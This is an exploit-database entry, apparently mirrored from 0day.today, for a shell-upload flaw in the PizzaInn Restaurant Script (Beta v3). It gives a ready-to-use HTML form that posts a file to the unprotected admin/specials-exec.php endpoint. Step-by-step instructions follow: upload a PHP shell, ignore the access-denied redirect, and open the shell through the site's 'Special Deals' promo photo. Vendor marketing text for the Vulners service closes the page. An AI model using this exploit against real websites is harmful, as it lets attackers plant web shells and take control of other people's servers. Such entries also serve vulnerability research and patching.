# Exploit Title :----------------- : PizzaInn Restaurant Scripti (Beta v3) - (specials-exec.php) - Shell Upload.
# Author :------------------------ : Nassim Asrir
# Author Company :------------------------ : HenceForth
# Author Email :------------------------ : [email protected]
# Google Dork :---------------- : -
# Date :-------------------------- : 20/10/2016
# Type :-------------------------- : webapps
# Platform : -------------------- : PHP
# Software link : -------------- : http://wmscripti.com/php-scriptler/pizzainn-restaurant-scripti-beta-v3.html
############################ Shell Upload Vulnerabilty ############################
## Exploit ##
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Shell Upload by Nassim Asrir</title>
<link href="stylesheets/admin_styles.css" rel="stylesheet" type="text/css" />
<script language="JavaScript" src="validation/admin.js">
</script>
</head>
<body>
<div id="page">
<div id="header">
</div>
<div id="container">
<table width="850" align="center">
<form name="specialsForm" id="specialsForm" action="http://localhost/admin/specials-exec.php" method="post" enctype="multipart/form-data" onsubmit="return specialsValidate(this)">
<tr>
<th>Name</th>
<th>Description</th>
<th>Price</th>
<th>Start Date</th>
<th>End Date</th>
<th>Photo</th>
<th>Action</th>
</tr>
<tr>
<td><input type="text" name="name" id="name" class="textfield" /></td>
<td><textarea name="description" id="description" class="textfield" rows="2" cols="15"></textarea></td>
<td><input type="text" name="price" id="price" class="textfield" /></td>
<td><input type="date" name="start_date" id="start_date" class="textfield" /></td>
<td><input type="date" name="end_date" id="end_date" class="textfield" /></td>
<td><input type="file" name="photo" id="photo"/></td>
<td><input type="submit" name="Submit" value="Add" /></td>
</tr>
</form>
</table>
## Proc ##
- Create a .html File and Put the Code.
- Navigate the File in your Localhost .
- and upload your Php Shell and you redirect to http://site/script/admin/access-denied.php
- and You get the Message "Access Denied! You do not have access to this resource." but don't worry. when you get the Message go to Home Site and click in "Special Deals" and then you can see Promo Photo simply Click in
the shell.
# 0day.today [2018-01-11] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation